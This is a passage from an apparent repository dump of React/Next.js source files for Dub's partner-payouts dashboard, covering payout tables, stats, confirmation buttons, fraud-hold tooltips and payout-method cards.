bg-white p-4\">\n          <h3 className=\"text-content-emphasis mb-2 text-base font-semibold\">\n            Invoice details\n          </h3>\n          <div className=\"flex flex-col gap-1\">\n            {Object.entries(invoiceData).map(([key, value]) => (\n              <div\n                key={key}\n                className=\"flex items-center gap-4 rounded-md py-1\"\n              >\n                <div className=\"w-20 shrink-0 text-xs font-medium text-neutral-700\">\n                  {key}\n                </div>\n                <div className=\"flex min-w-0 flex-1 items-center text-xs font-medium text-neutral-500\">\n                  {value}\n                </div>\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction PayoutDetailsskeleton() {\n  return (\n    <div className=\"flex flex-col gap-6 lg:flex-row\">\n      <div className=\"order-last min-w-0 flex-1 lg:order-first\">\n        <div className=\"h-64 animate-pulse rounded-xl border border-neutral-200 bg-neutral-100\" />\n        <div className=\"mt-6 h-32 animate-pulse rounded-xl border border-neutral-200 bg-neutral-100\" />\n      </div>\n      <div className=\"order-first w-full shrink-0 lg:order-last lg:w-[360px]\">\n        <div className=\"h-80 animate-pulse rounded-xl border border-neutral-200 bg-neutral-100\" />\n      </div>\n    </div>\n  );\n}\n\nfunction PayoutConfirmButton() {\n  const { slug, role, plan } = useWorkspace();\n  const { payout } = usePayout();\n  const router = useRouter();\n\n  const { canManageFraudEvents } = getPlanCapabilities(plan);\n\n  const { fraudGroupCount } = useFraudGroupCount<FraudGroupCountByPartner[]>({\n    ignoreParams: true,\n    enabled: !!payout?.partner?.id,\n    query: {\n      groupBy: \"partnerId\",\n      status: \"pending\",\n      ...(payout?.partner?.id && { partnerId: payout.partner.id }),\n    },\n  });\n\n  const hasHold =\n    payout?.status === \"pending\" &&\n    canManageFraudEvents &&\n    (fraudGroupCount?.length ?? 0) > 0;\n\n  const { error: _permissionsError } = clientAccessCheck({\n    action: \"payouts.write\",\n    role,\n  });\n\n  const permissionsError =\n    typeof _permissionsError === \"string\" ? _permissionsError : null;\n\n  if (payout?.status !== \"pending\") {\n    return null;\n  }\n\n  return (\n    <div className=\"flex items-center gap-2\">\n      <Button\n        text=\"Confirm payout\"\n        disabledTooltip={\n          hasHold\n            ? `This partner's payouts are on hold due to [unresolved fraud events](${APP_DOMAIN}/${slug}/program/fraud?partnerId=${payout.partner.id}). They cannot be paid out until resolved.`\n            : !payout.partner.payoutsEnabledAt\n              ? \"This partner has not [connected a bank account](https://dub.co/help/article/receiving-payouts) to receive payouts yet, which means they won't be able to receive payouts from your program.\"\n              : permissionsError || undefined\n        }\n        onClick={() => {\n          router.push(\n            `/${slug}/program/payouts?confirmPayouts=true&selectedPayoutId=${payout.id}`,\n          );\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/[payoutId]/page.tsx",
    "content": "import { PayoutDetailsPageClient } from \"./page-client\";\n\nexport default function PayoutDetailsPage() {\n  return <PayoutDetailsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/page-client.tsx",
    "content": "\"use client\";\n\nimport { PayoutStats } from \"./payout-stats\";\nimport { PayoutTable } from \"./payout-table\";\n\nexport function ProgramPayoutsPageClient() {\n  return (\n    <>\n      <PayoutStats />\n      <div className=\"my-6\">\n        <PayoutTable />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramPayoutsPageClient } from \"./page-client\";\nimport { ProgramPayoutSettingsButton } from \"./program-payout-settings-button\";\n\nexport default function ProgramPayoutsPage() {\n  return (\n    <PageContent\n      title=\"Payouts\"\n      titleInfo={{\n        title:\n          \"Learn more about how you can send payouts to your affiliate partners globally with Dub.\",\n        href: \"https://dub.co/help/article/partner-payouts\",\n      }}\n      controls={<ProgramPayoutSettingsButton />}\n    >\n      <PageWidthWrapper>\n        <ProgramPayoutsPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/payout-paid-cell.tsx",
    "content": "import { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { CopyText, Tooltip } from \"@dub/ui\";\nimport { CircleHalfDottedClock } from \"@dub/ui/icons\";\nimport { formatDateSmart, formatDateTime, OG_AVATAR_URL } from \"@dub/utils\";\nimport { addBusinessDays } from \"date-fns\";\n\ntype PayoutPaidCellUser = {\n  id?: string;\n  name?: string | null;\n  email?: string | null;\n  image?: string | null;\n} | null;\n\ntype PayoutPaidCellProps = {\n  initiatedAt?: string | Date | null;\n  paidAt?: string | Date | null;\n  user?: PayoutPaidCellUser;\n};\n\nexport function PayoutPaidCell({\n  initiatedAt,\n  paidAt,\n  user,\n}: PayoutPaidCellProps) {\n  const ProcessingIcon = PayoutStatusBadges.processing.icon;\n  const CompletedIcon = PayoutStatusBadges.completed.icon;\n\n  if (!initiatedAt) {\n    return \"-\";\n  }\n\n  return (\n    <Tooltip\n      content={\n        <div className=\"flex flex-col gap-1 p-2.5\">\n          {user && (\n            <div className=\"flex flex-col gap-2\">\n              <img\n                src={user.image || `${OG_AVATAR_URL}${user.id}`}\n                alt={user.name ?? user.email ?? user.id}\n                className=\"size-6 shrink-0 rounded-full\"\n              />\n              <p className=\"text-sm font-medium\">\n                {user.name ?? user.email ?? user.id}\n              </p>\n            </div>\n          )}\n          <div className=\"flex items-center gap-1.5 text-xs text-neutral-500\">\n            <ProcessingIcon className=\"size-3 shrink-0 text-blue-600\" />\n            <span>\n              Payment initiated at{\" \"}\n              <CopyText\n                value={formatDateTime(initiatedAt, {\n                  month: \"short\",\n                })}\n                className=\"text-xs font-medium text-neutral-700\"\n              >\n                {formatDateTime(initiatedAt, {\n                  month: \"short\",\n                  day: \"numeric\",\n                  year: \"numeric\",\n                  hour: \"numeric\",\n                  minute: \"numeric\",\n                })}\n              </CopyText>\n            </span>\n          </div>\n          {paidAt ? (\n            <div className=\"flex items-center gap-1.5 text-xs text-neutral-500\">\n              <CompletedIcon className=\"size-3 shrink-0 text-green-600\" />\n              <span>\n                Payment completed at{\" \"}\n                <CopyText\n                  value={formatDateTime(paidAt, {\n                    month: \"short\",\n                  })}\n                  className=\"text-xs font-medium text-neutral-700\"\n                >\n                  {formatDateTime(paidAt, {\n                    month: \"short\",\n                  })}\n                </CopyText>\n              </span>\n            </div>\n          ) : (\n            <div className=\"flex items-center gap-1.5 text-xs text-neutral-500\">\n              <CircleHalfDottedClock className=\"size-3 shrink-0 text-amber-600\" />\n              <span>\n                Expected to settle at{\" \"}\n                <CopyText\n                  value={formatDateTime(addBusinessDays(initiatedAt, 5), {\n                    month: \"short\",\n                  })}\n                  className=\"text-xs font-medium text-neutral-700\"\n                >\n                  {formatDateTime(addBusinessDays(initiatedAt, 5), {\n                    month: \"short\",\n                  })}\n                </CopyText>\n              </span>\n            </div>\n          )}\n        </div>\n      }\n    >\n      <div className=\"flex items-center gap-2\">\n        {user && (\n          <img\n            src={user.image || `${OG_AVATAR_URL}${user.id}`}\n            alt={user.name ?? user.email ?? user.id}\n            className=\"size-5 shrink-0 rounded-full\"\n          />\n        )}\n        {paidAt ? (\n          <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n            {formatDateSmart(paidAt, {\n              month: \"short\",\n            })}\n          </span>\n        ) : (\n          <span className=\"hover:text-content-emphasis text-content-muted flex items-center gap-1 underline decoration-dotted underline-offset-2\">\n            <CircleHalfDottedClock className=\"size-3.5 shrink-0\" />{\" \"}\n            {formatDateSmart(initiatedAt, {\n              month: \"short\",\n            })}\n          </span>\n        )}\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/payout-stats.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { usePayoutsCount } from \"@/lib/swr/use-payouts-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PayoutsCount } from \"@/lib/types\";\nimport { ConfirmPayoutsSheet } from \"@/ui/partners/confirm-payouts-sheet\";\nimport { PayoutStatus } from \"@dub/prisma/client\";\nimport {\n  Button,\n  buttonVariants,\n  Tooltip,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, currencyFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport function PayoutStats() {\n  const { slug, role } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"payouts.write\",\n    role,\n  }).error;\n  const { queryParams } = useRouterStuff();\n\n  const { payoutsCount, loading } = usePayoutsCount<PayoutsCount[]>({\n    groupBy: \"status\",\n  });\n\n  const {\n    payoutsCount: eligiblePayoutsCount,\n    loading: eligiblePayoutsLoading,\n  } = usePayoutsCount<PayoutsCount[]>({\n    groupBy: \"status\",\n    eligibility: \"eligible\",\n  });\n\n  const allPendingPayouts = payoutsCount?.find(\n    (p) => p.status === PayoutStatus.pending,\n  );\n\n  const eligiblePendingPayouts = eligiblePayoutsCount?.find(\n    (p) => p.status === PayoutStatus.pending,\n  );\n\n  const pendingIneligiblePayouts =\n    typeof allPendingPayouts?.amount === \"number\" &&\n    typeof eligiblePendingPayouts?.amount === \"number\" &&\n    allPendingPayouts.amount - eligiblePendingPayouts.amount;\n\n  const confirmButtonDisabled = eligiblePendingPayouts?.amount === 0;\n\n  const completedPayoutsAmount =\n    payoutsCount\n      ?.filter((p) => [\"processed\", \"sent\", \"completed\"].includes(p.status))\n      .reduce((acc, payout) => acc + payout.amount, 0) ?? 0;\n\n  const processingPayoutsAmount =\n    payoutsCount?.find((p) => p.status === PayoutStatus.processing)?.amount ??\n    0;\n\n  const totalPaid = completedPayoutsAmount + processingPayoutsAmount;\n\n  useKeyboardShortcut(\"c\", () => {\n    if (!permissionsError) {\n      queryParams({\n        set: {\n          confirmPayouts: \"true\",\n        },\n        scroll: false,\n      });\n    }\n  });\n\n  return (\n    <>\n      <ConfirmPayoutsSheet />\n      <div className=\"grid grid-cols-1 divide-neutral-200 rounded-lg border border-neutral-200 bg-neutral-50 max-sm:divide-y sm:grid-cols-2 sm:divide-x\">\n        <div className=\"flex flex-col p-4\">\n          <div className=\"flex justify-between gap-5\">\n            <div className=\"p-1\">\n              <div className=\"text-sm text-neutral-500\">Pending payouts</div>\n            </div>\n            <Button\n              text=\"Confirm payouts\"\n              shortcut=\"C\"\n              shortcutClassName=\"px-1 py-px\"\n              className=\"h-7 w-fit px-2\"\n              onClick={() => {\n                queryParams({\n                  set: {\n                    confirmPayouts: \"true\",\n                  },\n                  scroll: false,\n                });\n              }}\n              disabled={eligiblePayoutsLoading || confirmButtonDisabled}\n              disabledTooltip={\n                confirmButtonDisabled\n                  ? \"You have no pending payouts that match the minimum payout requirement for partners that have payouts enabled.\"\n                  : permissionsError || undefined\n              }\n            />\n          </div>\n          <div\n            className={cn(\n              \"mt-2 text-2xl text-neutral-800\",\n              pendingIneligiblePayouts &&\n                \"underline decoration-dotted underline-offset-2\",\n            )}\n          >\n            {loading || eligiblePayoutsLoading ? (\n              <div className=\"h-8 w-32 animate-pulse rounded bg-neutral-200\" />\n            ) : (\n              <Tooltip\n                content={\n                  <div className=\"w-64\">\n                    <div className=\"border-b border-neutral-200 p-3 text-sm font-medium text-neutral-700\">\n                      Pending payouts\n                    </div>\n                    <div className=\"grid gap-1 p-3\">\n                      {[\n                        {\n                          display: \"Eligible payouts\",\n                          amount: eligiblePendingPayouts?.amount || 0,\n                        },\n                        {\n                          display: \"Ineligible payouts\",\n                          amount: pendingIneligiblePayouts || 0,\n                        },\n                      ].map(({ display, amount }, index) => (\n                        <div className=\"flex justify-between\" key={index}>\n                          <div className=\"text-sm text-neutral-500\">\n                            {display}\n                          </div>\n                          <div className=\"text-sm text-neutral-500\">\n                            {currencyFormatter(amount, {})}\n                          </div>\n                        </div>\n                      ))}\n                    </div>\n                  </div>\n                }\n              >\n                <span className=\"underline decoration-dotted underline-offset-2\">\n                  {currencyFormatter(eligiblePendingPayouts?.amount ?? 0, {}) +\n                    \" USD\"}\n                </span>\n              </Tooltip>\n            )}\n          </div>\n        </div>\n\n        <div className=\"flex flex-col p-4\">\n          <div className=\"flex justify-between gap-5\">\n            <div className=\"p-1\">\n              <div className=\"text-sm text-neutral-500\">Total paid</div>\n            </div>\n            <Link\n              href={`/${slug}/settings/billing/invoices?type=partnerPayout`}\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex h-7 items-center rounded-md border px-2 text-sm\",\n              )}\n            >\n              View invoices\n            </Link>\n          </div>\n          <div className=\"mt-2 text-2xl text-neutral-800\">\n            {loading ? (\n              <div className=\"h-8 w-32 animate-pulse rounded bg-neutral-200\" />\n            ) : (\n              <Tooltip\n                content={\n                  <div className=\"w-64\">\n                    <div className=\"border-b border-neutral-200 p-3 text-sm font-medium text-neutral-700\">\n                      Total paid\n                    </div>\n                    <div className=\"grid gap-1 p-3\">\n                      {[\n                        {\n                          display: \"Completed payouts\",\n                          amount: completedPayoutsAmount,\n                        },\n                        {\n                          display: \"Processing payouts\",\n                          amount: processingPayoutsAmount,\n                        },\n                      ].map(({ display, amount }, index) => (\n                        <div className=\"flex justify-between\" key={index}>\n                          <div className=\"text-sm text-neutral-500\">\n                            {display}\n                          </div>\n                          <div className=\"text-sm text-neutral-500\">\n                            {currencyFormatter(amount, {})}\n                          </div>\n                        </div>\n                      ))}\n                    </div>\n                  </div>\n                }\n              >\n                <span className=\"underline decoration-dotted underline-offset-2\">\n                  {currencyFormatter(totalPaid, {}) + \" USD\"}\n                </span>\n              </Tooltip>\n            )}\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/payout-table.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport { usePayoutsCount } from \"@/lib/swr/use-payouts-count\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FraudGroupCountByPartner, PayoutResponse } from \"@/lib/types\";\nimport { ExternalPayoutsIndicator } from \"@/ui/partners/external-payouts-indicator\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { PayoutStatus } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  DynamicTooltipWrapper,\n  Filter,\n  StatusBadge,\n  Table,\n  Tooltip,\n  TooltipContent,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { MoneyBill2 } from \"@dub/ui/icons\";\nimport { cn, currencyFormatter } from \"@dub/utils\";\nimport { formatPeriod } from \"@dub/utils/src/functions/datetime\";\nimport { fetcher } from \"@dub/utils/src/functions/fetcher\";\nimport { PayoutPaidCell } from \"app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/payout-paid-cell\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { memo, useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { usePayoutFilters } from \"./use-payout-filters\";\n\nexport function PayoutTable() {\n  const filters = usePayoutFilters();\n  return <PayoutTableInner {...filters} />;\n}\n\nconst PayoutTableInner = memo(\n  ({\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  }: ReturnType<typeof usePayoutFilters>) => {\n    const {\n      id: workspaceId,\n      slug: workspaceSlug,\n      plan,\n      defaultProgramId,\n    } = useWorkspace();\n    const router = useRouter();\n    const { queryParams, searchParams, getQueryString } = useRouterStuff();\n\n    const sortBy = searchParams.get(\"sortBy\") || \"amount\";\n    const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n    const { payoutsCount, error: countError } = usePayoutsCount<number>();\n\n    const {\n      data: payouts,\n      error,\n      isLoading,\n    } = useSWR<PayoutResponse[]>(\n      defaultProgramId\n        ? `/api/payouts${getQueryString(\n            { workspaceId },\n            {\n              exclude: [\"payoutId\", \"selectedPayoutId\", \"excludedPayoutIds\"],\n            },\n          )}`\n        : undefined,\n      fetcher,\n      {\n        keepPreviousData: true,\n      },\n    );\n\n    const { pagination, setPagination } = usePagination();\n\n    const { canManageFraudEvents } = getPlanCapabilities(plan);\n\n    const { fraudGroupCount } = useFraudGroupCount<FraudGroupCountByPartner[]>({\n      query: {\n        groupBy: \"partnerId\",\n        status: \"pending\",\n      },\n      ignoreParams: true,\n    });\n\n    // Memoized map of partner IDs with pending fraud events\n    const fraudGroupCountMap = useMemo(() => {\n      if (!fraudGroupCount) {\n        return new Set<string>();\n      }\n\n      return new Set(fraudGroupCount.map(({ partnerId }) => partnerId));\n    }, [fraudGroupCount]);\n\n    const table = useTable({\n      data: payouts || [],\n      loading: isLoading,\n      error: error || countError ? \"Failed to load payouts\" : undefined,\n      columns: [\n        {\n          id: \"periodEnd\",\n          header: \"Period\",\n          accessorFn: (d) => formatPeriod(d),\n        },\n        {\n          header: \"Partner\",\n          cell: ({ row }) => {\n            return <PartnerRowItem partner={row.original.partner} />;\n          },\n        },\n        {\n          header: \"Status\",\n          cell: ({ row }) => {\n            const hasPendingFraudEvents =\n              canManageFraudEvents &&\n              fraudGroupCountMap.has(row.original.partner.id);\n\n            const status =\n              hasPendingFraudEvents && row.original.status === \"pending\"\n                ? \"hold\"\n                : row.original.status;\n\n            const badge = PayoutStatusBadges[status];\n\n            return badge ? (\n              <StatusBadge icon={badge.icon} variant={badge.variant}>\n                <DynamicTooltipWrapper\n                  tooltipProps={\n                    row.original.status === \"failed\" &&\n                    row.original.failureReason\n                      ? {\n                          content: row.original.failureReason,\n                        }\n                      : undefined\n                  }\n                >\n                  {badge.label}\n                </DynamicTooltipWrapper>\n              </StatusBadge>\n            ) : (\n              \"-\"\n            );\n          },\n        },\n        {\n          id: \"initiatedAt\",\n          header: \"Paid\",\n          cell: ({ row }) => (\n            <PayoutPaidCell\n              initiatedAt={row.original.initiatedAt}\n              paidAt={row.original.paidAt}\n              user={row.original.user}\n            />\n          ),\n        },\n        {\n          id: \"amount\",\n          header: \"Amount\",\n          cell: ({ row }) => (\n            <AmountRowItem\n              payout={row.original}\n              hasPendingFraudEvents={\n                canManageFraudEvents &&\n                fraudGroupCountMap.has(row.original.partner.id)\n              }\n            />\n          ),\n        },\n      ],\n      pagination,\n      onPaginationChange: setPagination,\n      sortableColumns: [\"amount\", \"initiatedAt\"],\n      sortBy,\n      sortOrder,\n      onSortChange: ({ sortBy, sortOrder }) =>\n        queryParams({\n          set: {\n            ...(sortBy && { sortBy }),\n            ...(sortOrder && { sortOrder }),\n          },\n          del: \"page\",\n          scroll: false,\n        }),\n      onRowClick: (row, e) => {\n        const url = `/${workspaceSlug}/program/payouts/${row.original.id}`;\n        if (e.metaKey || e.ctrlKey) window.open(url, \"_blank\");\n        else router.push(url);\n      },\n      onRowAuxClick: (row) =>\n        window.open(\n          `/${workspaceSlug}/program/payouts/${row.original.id}`,\n          \"_blank\",\n        ),\n      rowProps: (row) => ({\n        onPointerEnter: () =>\n          router.prefetch(\n            `/${workspaceSlug}/program/payouts/${row.original.id}`,\n          ),\n      }),\n      columnPinning: { right: [\"menu\"] },\n      thClassName: \"border-l-0\",\n      tdClassName: \"border-l-0\",\n      resourceName: (p) => `payout${p ? \"s\" : \"\"}`,\n      rowCount: payoutsCount || 0,\n    });\n\n    return (\n      <>\n        <div className=\"flex flex-col gap-3\">\n          <div>\n            <Filter.Select\n              className=\"w-full md:w-fit\"\n              filters={filters}\n              activeFilters={activeFilters}\n              onSelect={onSelect}\n              onRemove={onRemove}\n              onSearchChange={setSearch}\n              onSelectedFilterChange={setSelectedFilter}\n            />\n            <AnimatedSizeContainer height>\n              <div>\n                {activeFilters.length > 0 && (\n                  <div className=\"pt-3\">\n                    <Filter.List\n                      filters={filters}\n                      activeFilters={activeFilters}\n                      onSelect={onSelect}\n                      onRemove={onRemove}\n                      onRemoveAll={onRemoveAll}\n                    />\n                  </div>\n                )}\n              </div>\n            </AnimatedSizeContainer>\n          </div>\n          {payouts?.length !== 0 ? (\n            <Table {...table} />\n          ) : (\n            <AnimatedEmptyState\n              title=\"No payouts found\"\n              description={\n                isFiltered\n                  ? \"No payouts found for the selected filters.\"\n                  : \"No payouts have been initiated for this program yet.\"\n              }\n              cardContent={() => (\n                <>\n                  <MoneyBill2 className=\"size-4 text-neutral-700\" />\n                  <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n                </>\n              )}\n            />\n          )}\n        </div>\n      </>\n    );\n  },\n);\n\nfunction AmountRowItem({\n  payout,\n  hasPendingFraudEvents,\n}: {\n  payout: Pick<PayoutResponse, \"amount\" | \"status\" | \"mode\" | \"partner\">;\n  hasPendingFraudEvents: boolean;\n}) {\n  const { slug } = useParams();\n  const { program } = useProgram();\n\n  const minPayoutAmount = program?.minPayoutAmount || 0;\n  const display = currencyFormatter(payout.amount);\n\n  if (payout.status === PayoutStatus.pending) {\n    if (payout.amount < minPayoutAmount) {\n      return (\n        <Tooltip\n          content={\n            <TooltipContent\n              title={`Your program's minimum payout amount is ${currencyFormatter(\n                minPayoutAmount,\n              )}. This payout will be accrued and processed during the next payout period.`}\n              cta=\"Update minimum payout amount\"\n              href={`/${slug}/program/payouts?status=pending`}\n              target=\"_blank\"\n            />\n          }\n        >\n          <span className=\"cursor-help truncate text-neutral-400 underline decoration-dotted underline-offset-2\">\n            {display}\n          </span>\n        </Tooltip>\n      );\n    }\n\n    if (payout.mode === \"external\") {\n      return (\n        <div className=\"flex items-center gap-1.5\">\n          <DynamicTooltipWrapper\n            tooltipProps={{\n              content: payout.partner?.tenantId ? undefined : (\n                <TooltipContent\n                  title=\"This partner does not have a tenant ID configured, which is required to process external payouts.\"\n                  cta=\"Learn more\"\n                  href=\"http://dub.co/docs/partners/external-payouts\"\n                  target=\"_blank\"\n                />\n              ),\n            }}\n          >\n            <span\n              className={cn(\n                \"truncate\",\n                payout.partner?.tenantId\n                  ? \"text-neutral-700\"\n                  : \"text-neutral-400 underline decoration-dotted underline-offset-2\",\n              )}\n            >\n              {display}\n            </span>\n          </DynamicTooltipWrapper>\n          {payout.partner?.tenantId && <ExternalPayoutsIndicator />}\n        </div>\n      );\n    }\n\n    if (payout.mode === \"internal\" && !payout.partner?.payoutsEnabledAt) {\n      return (\n        <Tooltip content=\"This partner has not [connected a bank account](https://dub.co/help/article/receiving-payouts) to receive payouts yet, which means they won't be able to receive payouts from your program.\">\n          <span className=\"cursor-help truncate text-neutral-400 underline decoration-dotted underline-offset-2\">\n            {display}\n          </span>\n        </Tooltip>\n      );\n    }\n\n    if (hasPendingFraudEvents) {\n      return (\n        <Tooltip\n          content={`This partner's payouts are on hold due to [unresolved fraud events](${`/${slug}/program/fraud?partnerId=${payout.partner.id}`}). They cannot be paid out until resolved.`}\n        >\n          <span className=\"cursor-help truncate text-neutral-400 underline decoration-dotted underline-offset-2\">\n            {display}\n          </span>\n        </Tooltip>\n      );\n    }\n  }\n\n  return display;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/program-payout-methods.tsx",
    "content": "\"use client\";\n\nimport { STRIPE_PAYMENT_METHODS } from \"@/lib/stripe/payment-methods\";\nimport usePaymentMethods from \"@/lib/swr/use-payment-methods\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWebhooks from \"@/lib/swr/use-webhooks\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Badge, Button } from \"@dub/ui\";\nimport { MoneyBill, Webhook } from \"@dub/ui/icons\";\nimport { capitalize } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { ComponentType, ReactNode, useMemo, useState } from \"react\";\n\ninterface PayoutMethodCardProps {\n  icon: ComponentType<{ className?: string }>;\n  title: string;\n  description: string;\n  action?: ReactNode;\n  badge: {\n    label: string;\n    variant: \"green\" | \"violet\";\n  };\n}\n\nexport function ProgramPayoutMethods() {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const { program } = useProgram();\n  const { paymentMethods, loading: paymentMethodsLoading } =\n    usePaymentMethods();\n\n  const [isLoading, setIsLoading] = useState(false);\n  const managePaymentMethods = async () => {\n    setIsLoading(true);\n    const { url } = await fetch(\n      `/api/workspaces/${slug}/billing/payment-methods`,\n      {\n        method: \"POST\",\n        body: JSON.stringify({}),\n      },\n    ).then((res) => res.json());\n\n    router.push(url);\n  };\n\n  // Only show the default payment method (ACH if configured, or card if not)\n  const displayPaymentMethods = useMemo(() => {\n    if (!paymentMethods || paymentMethods.length === 0) return [];\n\n    // Take only the first payment method (ACH if configured, otherwise card)\n    const pm = paymentMethods[0];\n    const paymentMethod = STRIPE_PAYMENT_METHODS[pm.type];\n\n    if (!paymentMethod) return [];\n\n    let title = \"\";\n    let details = \"\";\n\n    if (pm.link) {\n      title = \"Link\";\n      details = pm.link.email\n        ? `Account ending in ••••${pm.link.email.slice(-4)}`\n        : \"Link payment method\";\n    } else if (pm.card) {\n      title = pm.card.brand\n        ? capitalize(pm.card.brand) || pm.card.brand\n        : \"Card\";\n      details = `Account ending in ••••${pm.card.last4}`;\n    } else if (pm.us_bank_account) {\n      title = \"ACH\";\n      details = `Account ending in ••••${pm.us_bank_account.last4}`;\n    } else if (pm.acss_debit) {\n      title = \"ACSS Debit\";\n      details = `Account ending in ••••${pm.acss_debit.last4}`;\n    } else if (pm.sepa_debit) {\n      title = \"SEPA Debit\";\n      details = `Account ending in ••••${pm.sepa_debit.last4}`;\n    } else {\n      title = paymentMethod.label;\n      details = `Account ending in ••••${pm[paymentMethod.type]?.last4 || \"****\"}`;\n    }\n\n    return [\n      {\n        id: pm.id,\n        title,\n        details,\n        icon: paymentMethod.icon,\n        type: \"connected\",\n      },\n    ];\n  }, [paymentMethods]);\n\n  return (\n    <div className=\"space-y-6\">\n      <div className=\"flex items-center justify-between\">\n        <div>\n          <h4 className=\"text-base font-semibold leading-6 text-neutral-900\">\n            Payout method\n          </h4>\n          <p className=\"mt-1 text-sm font-medium text-neutral-500\">\n            Your connected payout methods.\n          </p>\n        </div>\n        <Button\n          variant=\"secondary\"\n          text=\"Manage\"\n          className=\"h-7 w-fit px-2.5 py-2\"\n          onClick={managePaymentMethods}\n          loading={isLoading}\n        />\n      </div>\n\n      <div className=\"space-y-2\">\n        {paymentMethodsLoading ? (\n          <div className=\"space-y-2\">\n            <div className=\"h-12 animate-pulse rounded-lg bg-neutral-100\" />\n            <div className=\"h-12 animate-pulse rounded-lg bg-neutral-100\" />\n          </div>\n        ) : displayPaymentMethods.length > 0 ? (\n          displayPaymentMethods.map((method) => (\n            <PayoutMethodCard\n              key={method.id}\n              icon={method.icon}\n              title={method.title}\n              description={method.details}\n              badge={{\n                label: \"Connected\",\n                variant: \"green\",\n              }}\n            />\n          ))\n        ) : null}\n\n        {program?.payoutMode !== \"internal\" && <ExternalPayoutMethods />}\n\n        {!paymentMethodsLoading && displayPaymentMethods.length === 0 && (\n          <div className=\"flex flex-col items-center justify-center rounded-lg bg-neutral-50 py-6\">\n            <MoneyBill className=\"mb-2 size-6 text-neutral-900\" />\n            <h3 className=\"text-content-emphasis text-xs font-semibold leading-4\">\n              No payout methods\n            </h3>\n            <p className=\"text-content-default text-xs font-medium leading-5\">\n              A payout method is required to pay out your partners\n            </p>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction PayoutMethodCard({\n  icon: Icon,\n  title,\n  badge,\n  description,\n  action,\n}: PayoutMethodCardProps) {\n  return (\n    <div className=\"flex h-12 items-center gap-3 rounded-lg border border-neutral-200 bg-white px-3 py-2\">\n      <div className=\"flex size-8 shrink-0 items-center justify-center rounded-lg bg-neutral-100\">\n        <Icon className=\"size-4.5 text-content-emphasis\" />\n      </div>\n      <div className=\"min-w-0 flex-1\">\n        <div className=\"flex items-center gap-1\">\n          <span className=\"text-content-emphasis text-xs font-semibold leading-4\">\n            {title}\n          </span>\n          <Badge\n            variant={badge.variant}\n            className=\"rounded-md px-1 py-0 text-xs\"\n          >\n            {badge.label}\n          </Badge>\n        </div>\n        <p className=\"text-content-subtle truncate text-xs font-medium leading-4\">\n          {description}\n        </p>\n      </div>\n      {action}\n    </div>\n  );\n}\n\nfunction ExternalPayoutMethods() {\n  const { slug } = useWorkspace();\n  const { webhooks } = useWebhooks();\n\n  // Filter webhooks with payout.confirmed trigger\n  const externalPayoutWebhooks = useMemo(() => {\n    if (!webhooks) return [];\n\n    return webhooks.filter(\n      (webhook) =>\n        webhook.triggers &&\n        Array.isArray(webhook.triggers) &&\n        webhook.triggers.includes(\"payout.confirmed\") &&\n        webhook.disabledAt === null &&\n        webhook.installationId === null,\n    );\n  }, [webhooks]);\n\n  return externalPayoutWebhooks.map((webhook) => (\n    <PayoutMethodCard\n      key={webhook.id}\n      icon={Webhook}\n      title={webhook.name}\n      description={webhook.url}\n      badge={{\n        label: \"External\",\n        variant: \"violet\",\n      }}\n      action={\n        <Link href={`/${slug}/settings/webhooks/${webhook.id}`} target=\"_blank\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"View\"\n            className=\"h-7 w-fit 